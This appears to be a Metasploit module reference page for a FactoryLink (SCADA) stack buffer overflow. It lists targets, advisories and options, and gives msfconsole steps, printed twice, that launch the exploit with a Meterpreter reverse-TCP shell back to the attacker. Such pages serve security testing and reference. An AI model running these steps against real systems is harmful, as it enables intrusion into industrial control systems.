Siemens FactoryLink vrn.exe Opcode 9 Buffer Overflow
This module exploits a stack buffer overflow in FactoryLink 7.5, 7.5 SP2, and 8.0.1.703. By sending a specially crafted packet, an attacker may be able to execute arbitrary code due to the improper use of a vsprintf() function while processing the user-supplied text field. Originally found and posted by Luigi Auriemma.
Exploit Rank
- Average
Exploit Authors
- Luigi Auriemma < >
- hal < >
- MC < mc [at] metasploit.com >
Vulnerability References
- OSVDB-72815
- http://aluigi.altervista.org/adv/factorylink_4-adv.txt
- http://www.us-cert.gov/control_systems/pdf/ICSA-11-091-01.pdf
Exploit Targets
- 0 - FactoryLink 7.5
- 1 - FactoryLink 7.5 SP2
- 2 - FactoryLink 8.0.1.703
Exploit Development
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Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/scada/factorylink_vrn_09
msf exploit(factorylink_vrn_09) > show payloads
msf exploit(factorylink_vrn_09) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(factorylink_vrn_09) > set LHOST [MY IP ADDRESS]
msf exploit(factorylink_vrn_09) > set RHOST [TARGET IP]
msf exploit(factorylink_vrn_09) > show targets
msf exploit(factorylink_vrn_09) > set TARGET [TARGET ID]
msf exploit(factorylink_vrn_09) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/scada/factorylink_vrn_09
msf exploit(factorylink_vrn_09) > show payloads
msf exploit(factorylink_vrn_09) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(factorylink_vrn_09) > set LHOST [MY IP ADDRESS]
msf exploit(factorylink_vrn_09) > set RHOST [TARGET IP]
msf exploit(factorylink_vrn_09) > show targets
msf exploit(factorylink_vrn_09) > set TARGET [TARGET ID]
msf exploit(factorylink_vrn_09) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 7579) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| DynamicSehRecord | Generate a dynamic SEH record (more stealthy) |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |